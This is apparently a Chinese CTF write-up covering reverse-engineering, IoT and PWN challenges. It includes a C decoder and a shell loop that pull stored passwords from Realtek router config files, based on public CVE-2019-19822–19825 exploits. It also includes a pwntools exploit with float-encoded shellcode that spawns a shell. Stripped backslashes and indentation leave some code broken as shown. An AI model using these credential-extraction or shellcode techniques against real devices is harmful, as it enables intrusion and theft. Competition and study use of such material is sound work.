Reverse
packpy
Pyinstaller打包的二进制,解压找到pyc并反编译:
import base58, zlib, marshal
try:
scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string))))
except:
pass
# okay decompiling packpy.pyc
套娃了,再解:
import base58, zlib, marshal
scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
pyc = zlib.decompress(base58.b58decode(scrambled_code_string))
# 加文件头方便反编译,从packpy.pyc抄来的
pyc = bytes.fromhex('55 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00'.replace(' ', '')) + pyc
with open('packpy_1.pyc', 'wb') as f:
f.write(pyc)
反编译:
import random
encdata = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'
def generate_key(seed_value):
key = list(range(256))
random.seed(seed_value)
random.shuffle(key)
return bytes(key)
def encrypt(data, key):
encrypted = bytearray()
for byte in data:
encrypted.append(key[byte] ^ 95)
else:
return bytes(encrypted)
try:
flag = input("input your flag:")
key = generate_key(len(flag))
data = flag.encode()
encrypted_data = encrypt(data, key)
if encrypted_data == encdata:
print("good")
except:
pass
# okay decompiling packpy_1.pyc
简单逆向,用flag长度做seed,shuffle置换表并xor 95。由于置换和xor都是不改变长度的,所以flag的长度就应该是encdata的长度。写脚本解flag:
import random
encdata = b'x18xfaxaddxedxabxadx9dxe5xc0xadxfaxf9x0bexf9xe5xade6xf9xfdx88xf9x9dxe5x9cxe5x9dexc3))x0fxff'
key = list(range(256))
random.seed(len(encdata))
random.shuffle(key)
flag = []
for x in encdata:
x ^= 95
flag.append(key.index(x))
print(bytes(flag))
flag{mar3hal_Is_3asy_t0_r3v3rse!!@}
ccc
cython折磨题,手动逆向+导入库利用hook调试。先逆向出比较简单的b2i
、i2b
、func3_a
和keyExpand
,对于比较复杂的func3
和checkFlag
,使用IDA出来的伪代码逆向出大概,然后用windows Python3.10导入库hook(func3_a可以搞出两个参数,i2b可以搞出每个阶段最后的out)出过程变量来修正细节。
逆出的题目源码:
def b2i(b, idx):
i = b[idx:idx+4]
i = int.from_bytes(i, 'big')
return i
def i2b(i, l, idx):
b = (i & 0xFFFFFFFF).to_bytes(4, 'big')
l[idx:idx+4] = list(b)
return
def func3_a(a, b):
mul = a * b
hd = (mul >> 16) & 0xFFFF
ld = mul & 0xFFFF
if ld < hd:
return ld - hd + 1
else:
return ld - hd
def func3(inp, inp_idx, out, out_idx, key):
x = b2i(inp, inp_idx)
y = b2i(inp, inp_idx+4)
xh = (x>>16)
xl = x & 0xFFFF
yh = y >> 16
yl = y & 0xFFFF
idx = 0
for i in range(8):
r1 = func3_a(xh & 0xFFFF, key[idx])
r2 = xl + key[idx+1]
r3 = yh + key[idx+2]
r4 = func3_a(yl & 0xFFFF, key[idx+3])
r5 = func3_a((r1 ^ r3) & 0xFFFF, key[idx+4])
r6 = func3_a(((r2 ^ r4) + r5) & 0xFFFF, key[idx+5])
xh = r1 ^ r6
yl = r4 ^ (r5 + r6)
yh = (r5 + r6) ^ r2
xl = r6 ^ r3
idx += 6
xh = func3_a(xh & 0xFFFF, key[idx])
yh = yh + key[idx+1]
xl = (xl + key[idx+2]) & 0xFFFF
yl = func3_a(yl & 0xFFFF, key[idx+3])
i2b((xh << 16) | (yh & 0xFFFF), out, out_idx)
i2b((xl << 16) | (yl & 0xFFFF), out, out_idx+4)
return
def keyExpand(inKey, outKey):
for i in range(8):
x = (inKey[i * 2] & 0xFF) << 8
y = inKey[i * 2 + 1] & 0xFF
xy = x | y
outKey[i] = xy
base = 0
idx = 0
for _ in range(8, 52):
x = outKey[base + ((idx + 1) & 7)] << 9
y = outKey[base + ((idx + 2) & 7)] >> 7
xy = (x | y) & 0xFFFF
outKey[base + idx + 8] = xy
base += (idx + 1) & 8
idx = (idx + 1) & 7
return
def checkFlag(s):
master_key = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
dst = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
key = [0 for _ in range(52)]
keyExpand(master_key, key)
out = [0 for _ in range(48)] # 1024
for i in range(0, 48, 8):
func3(list(s), i, out, i, key)
return out
# 不是源码,检查算法的细节有无问题
dst = [194, 39, 14, 214, 189, 113, 235, 77, 9, 196, 193, 93, 73, 125, 130, 149, 73, 118, 57, 3, 103, 111, 9, 63, 152, 15, 188, 51, 213, 63, 88, 38, 142, 156, 14, 33, 181, 190, 232, 101, 92, 82, 86, 159, 202, 110, 15, 50]
s = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv"
out = checkFlag(s)
print(out == dst
hook方法:(i2b的hook同理)
>>> import Challenge as c
>>> dir(c)
['__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '__test__', 'b2i', 'checkFlag', 'func3', 'func3_a', 'func_a', 'i2b', 'keyExpend']
>>> def hook_func3a(a, b): # 已经通过逆向cython得到了func3_a,这里hook也不会修改原函数逻辑
... print(a, b)
... mul = a * b
... hd = (mul >> 16) & 0xFFFF
... ld = mul & 0xFFFF
... if ld < hd:
... return ld - hd + 1
... else:
... return ld - hd
...
>>> c.__dict__["func3_a"] = hook_func3a
>>> c.checkFlag("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv")
16706 20168
18248 43336
7807 47262
57832 41927
49576 49905
41513 32082
9965 37233
# 过多数据,省略
50984 54392
37363 63582
21318 10117
59827 21941
34641 10152
error
>>>
8字节ECB分组加密,由最后的比对数组可以知道每组加密最后的xh、xl、yh、yl,func3_a采用枚举方法得出;循环中末尾的xor可以抵消相同项,由此知道r1 ^ r3和r2 ^ r4,从而可以算出r5和r6,然后倒推出r1-r4,进而倒推出每一次循环最开始的xh、xl、yh、yl。解题脚本:
def keyExpand(inKey, outKey):
for i in range(8):
x = (inKey[i * 2] & 0xFF) << 8
y = inKey[i * 2 + 1] & 0xFF
xy = x | y
outKey[i] = xy
base = 0
idx = 0
for _ in range(8, 52):
x = outKey[base + ((idx + 1) & 7)] << 9
y = outKey[base + ((idx + 2) & 7)] >> 7
xy = (x | y) & 0xFFFF
outKey[base + idx + 8] = xy
base += (idx + 1) & 8
idx = (idx + 1) & 7
return
def b2i(b, idx):
i = b[idx:idx+4]
i = int.from_bytes(i, 'big')
return i
def i2b(i, l, idx):
b = (i & 0xFFFFFFFF).to_bytes(4, 'big')
l[idx:idx+4] = list(b)
return
def func3_a(a, b):
mul = a * b
hd = (mul >> 16) & 0xFFFF
ld = mul & 0xFFFF
if ld < hd:
return ld - hd + 1
else:
return ld - hd
def func3_a_rev(ret, b): # 枚举
for i in range(0x10000):
if ret == (func3_a(i, b) & 0xFFFF):
return i
def func3(inp, inp_idx, out, out_idx, key):
x = b2i(inp, inp_idx)
y = b2i(inp, inp_idx+4)
xh = (x>>16)
xl = x & 0xFFFF
yh = y >> 16
yl = y & 0xFFFF
idx = 0
for i in range(8):
r1 = func3_a(xh & 0xFFFF, key[idx])
r2 = xl + key[idx+1]
r3 = yh + key[idx+2]
r4 = func3_a(yl & 0xFFFF, key[idx+3])
r5 = func3_a((r1 ^ r3) & 0xFFFF, key[idx+4])
r6 = func3_a(((r2 ^ r4) + r5) & 0xFFFF, key[idx+5])
xh = r1 ^ r6
yl = r4 ^ (r5 + r6)
yh = (r5 + r6) ^ r2
xl = r6 ^ r3
idx += 6
xh = func3_a(xh & 0xFFFF, key[idx])
yh = yh + key[idx+1]
xl = (xl + key[idx+2]) & 0xFFFF
yl = func3_a(yl & 0xFFFF, key[idx+3])
i2b((xh << 16) | (yh & 0xFFFF), out, out_idx)
i2b((xl << 16) | (yl & 0xFFFF), out, out_idx+4)
return
master_key = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
dst = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
key = [0 for _ in range(52)]
keyExpand(master_key, key)
flag = []
for i in range(0, 48, 8):
tmp = []
for j in range(i, i+8, 2):
tmp.append(int.from_bytes(dst[j:j+2], 'big'))
xh, yh, xl, yl = tmp
yl = func3_a_rev(yl, key[-1])
xl = (xl - key[-2]) & 0xFFFF
yh = (yh - key[-3]) & 0xFFFF
xh = func3_a_rev(xh, key[-4])
for j in range(0, 48, 6)[::-1]:
r1_xor_r3 = xh ^ xl
r2_xor_r4 = yh ^ yl
r5 = func3_a(r1_xor_r3, key[j+4]) & 0xFFFF
r6 = func3_a((r2_xor_r4 + r5) & 0xFFFF, key[j+5]) & 0xFFFF
r1 = xh ^ r6
r2 = yh ^ ((r5 + r6) & 0xFFFF)
r3 = xl ^ r6
r4 = yl ^ ((r5 + r6) & 0xFFFF)
xh = func3_a_rev(r1, key[j])
xl = (r2 - key[j+1]) & 0xFFFF
yh = (r3 - key[j+2]) & 0xFFFF
yl = func3_a_rev(r4, key[j+3])
tmp = (xh, xl, yh, yl)
try:
for i in range(4):
flag += list(tmp[i].to_bytes(2, 'big'))
except:
pass
print(bytes(flag))
flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}
IOT
special
参考CVE-2019-19822-19825-exploit.sh
参考链接:https://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
这个exp是执行攻击的,解密后得到账号密码,编写exp并发送请求,我们只需要前半段,解密后获得账号密码即可,直接梭哈
题目解包之后拿到了很多压缩包
binwalk -Me firmbware.bin
解包之后发现是乱码
没有什么东西,想到之前接触过几个cve联合的exp,也是得到密码之后,发出进攻,我们仅需要得到密码,也就是恢复损坏的文件,搜索相关资料得知,可以利用以下几个CVE-2019-19822、CVE-2019-19823、CVE-2019-19824、CVE-2019--19825
找到了对应的exp脚本
根据cve的exp步骤
//decode.c
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL N /* index for root of binary search trees */
struct lzss_buffer {
unsigned char text_buf[N + F - 1];
LZSS_TYPE lson[N + 1];
LZSS_TYPE rson[N + 257];
LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */
static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */
typedef struct compress_mib_header {
unsigned char signature[6];
unsigned short compRate;
unsigned int compLen;
} COMPRESS_MIB_HEADER_T;
#define handle_error(msg)
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned int ulPos=0;
unsigned int ulExpLen=0;
if ((text_buf = malloc( N + F - 1 )) == 0) {
//fprintf(stderr, "fail to get mem %s:%dn", __FUNCTION__, __LINE__);
return 0;
}
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
while(1) {
if (((flags >>= 1) & 256) == 0) {
c = ucInput[ulPos++];
if (ulPos>inLen)
break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
c = ucInput[ulPos++];
if ( ulPos > inLen )
break;
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
i = ucInput[ulPos++];
if ( ulPos > inLen ) break;
j = ucInput[ulPos++];
if ( ulPos > inLen ) break;
i |= ((j & 0xf0) << 4);
j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
free(text_buf);
return ulExpLen;
}
void main(int argc, char**argv) {
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
char* filename = "config.dat";
COMPRESS_MIB_HEADER_T * header;
if (argc>2) {
printf("Wrong number of parameters!");
exit(1);
}
if (argc==2) {
filename=argv[1];
}
fd = open(filename, O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
header = (COMPRESS_MIB_HEADER_T*)addr;
printf("%un", be16toh(header->compRate));
printf("%un", be32toh(header->compLen));
printf("%un", sb.st_size);
unsigned char *expFile=NULL;
expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));
unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
printf("%un", expandLen);
printf("%.*sn",100, expFile);
fwrite(expFile, 1, expandLen, stdout);
//flash_read_raw_mib("config.dat");
}
#!/bin/bash
根据exp走,写一个遍历每个文件的shell脚本,直接遍历即可,就可以将passwd给提取出来
之后在解包的路径中执行遍历解密即可
# 遍历当前目录及所有子目录的文件
find . -type f | while read file; do
# 打印当前处理的文件名
echo "Processing file: $file"
# 执行第一个命令
result1=$(./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
echo "Output of first command: $result1"
# 执行第二个命令
result2=$(./decode "$file" | xxd -p | tr -d 'n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
echo "Output of second command: $result2"
done
然后进行md5加密就行了
flag{0e327444a0ef9a1819c341f396d97b18}
PWN
fshell
1、登录功能,对输入内容进行凯撒密码变换,可以直接绕过
直接绕过就行了,他不是跟passwrd字符串进行比对,gdb动态调试即可得到,然后凯撒加密处理一下即可登录成功
2、功能3对我们的输入的数据进行处理,最后跳转到我们写入的地方执行,很明显的shellcode,但是shellcode进行了处理,需要我们提前构造好shellcode
3、跳转的0x8105300 flt_8105300,对此处进行搜索发现
登录成功之后,功能6会对我们输入shellcode的位置赋rwx
此题的浮点数的变换算法,也是这道题比较有趣的一个点
笔者花了挺长时间对此处数据处理,此处我们多花一点笔墨带着大家一起学习
v8 = 4;
for ( i = 0; i <= 21; ++i )
{
if ( !v7 )
break;
v7 = scanf("%d", (char)&v4);
v11 = (long double)v4 / (long double)a1;
v2 = v11;//v11是double类型,强转float
v5 = v2;
v9 = &v5;
if ( *((_BYTE *)&v5 + 3) <= 0x4Au )//处理完的第三个位置得大于0x4A
break;
v3 = v11;
flt_8105300[i] = v3;
}
1、我们输入的int数值会被当做long double进行除法操作,最后除完会强转为float类型,我们只需要提前按照要求乘回来,可以就可以构造写入我们的shellcode了,但是第三个位置得大于0x4a,挺多都被限制住了
int->double->float ->输出
我们需要写一个程序来提前处理我们要输入的shellcode
笔者的是gpt生成的
#include <stdio.h>
#include <stdint.h>
int main(){
int i;
float v11;
double v4;
uint8_t* c;
while(1){
printf("Enter a hexadecimal value (or 0 to exit): ");
scanf("%x", &i);
if(i == 0){
break;
}
v4 = i;
v4 = v4 / 0x48;
v11 = v4;
c = (uint8_t*)&v11;
printf("0x");
printf("%02x", c[3]);
printf("%02x", c[2]);
printf("%02x", c[1]);
printf("%02x", c[0]);
printf("n");
}
return 0;
}
随便生成一点0x5d5d5d5d进行验证
shellcode可控这个难题我们已经解决,接下来就是然后利用了,笔者用了最短shellcode进行尝试,但是都是因为程序逻辑中
if ( *((_BYTE *)&v5 + v8 - 1) <= 0x4Au ) break;
第三个不得小于0x4a,而没有写入完整,但是我想到了pop的32位字节码,不禁让笔者想到2023羊城杯的一个pwn题也是用的一个手法,不断pop
可以不断pop,知道回到栈上我们可控的位置,我们可以在这里使用其他功能点提前布置内容,经过不断pop就可以到这个位置执行别的内容
我们先写满pop,看看能不能到最后的长度可以遇到别的指令或者我们所能遇到的东西
在功能三我们可以输入字符串,栈中的内容是我们可控的,因此我们可以提前在此处布置rop链子,这里不会受到浮点数处理的的影响
写满了pop,发现这个方法可行
整个函数看到了sys_read函数,具体思路就是劫持到这里,然后在此处写shellcode
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='i386',os='linux')
local = 2
if local == 1:
io = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2:
io = process("./main")
elif local == 3:
io = remote('101.200.122.251', 14509)
def debug():
gdb.attach(io,'b main')
#gdb.attach(io,'b *$rebase (0x1764)')
sleep(1)
sa = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)
s = lambda a:io.send(a)
sl = lambda a:io.sendline(a)
ru = lambda s:io.recvuntil(s)
rc = lambda s:io.recv(s)
uu32 = lambda:u32(io.recvuntil("xf7")[-4:].ljust(4, b"x00"))
uu64 = lambda:u64(io.recvuntil("x7f")[-6:].ljust(8, b"x00"))
inter = lambda:io.interactive()
#login
ru("@@")
sl(str(1))
ru("username")
sl(b"user")
ru("password")
sl("ozrrvnqc")
#赋权
ru("@@")
sl(str(6))
sstr = b'x00'*8+ p32(0x807EC96) + p32(0x8103ff4) + p32(0x804A1FD)
print(len(sstr))
#inter()
sstr = sstr.ljust(20, b'a')
#shellcode
ru("@@")
sl(str(3))
ru("offset:")
sl(str(1))
ru("decrypt:")
gdb.attach(io,"b *0x0804A209")
pause()
s(sstr)
###
###
#pop to read
#pop ebp
#pop ebp
#pop esi
#dec ebx 0x4b5e5d5d===>0x3db1b12c
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))
sl(str(0x3db1b12c))
# pop ebp
# pop ebp
# pop esi
# dec ebx 0x4b5e5d5d=====>0x3e8a4240
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
sl(str(0x3e8a4240))
#push eax
#push eax
#pop ebx
#dec ebx 0x4b585b59
sl(str(0x3dae965c))
#pop ecx
#pop ebx
#pop eax
#dec ebx
sl(str(0x3cd9b0e5))#0x4b5b5050
# inc eax
#inc eax
#pop ebx
#dec ebx
sl(str(0x3daa11dc))#0x4b5bc35b
#pop ret
sl(str(0x3dcef183))#0x4b5b4040
sl(str(0x1000))#
shellcode = asm(shellcraft.sh())
#set shellcode
sl(shellcode)
inter()
原文始发于微信公众号(山石网科安全技术研究院):2024矩阵杯战队攻防对抗赛WP REVERSE&IOT&PWN篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论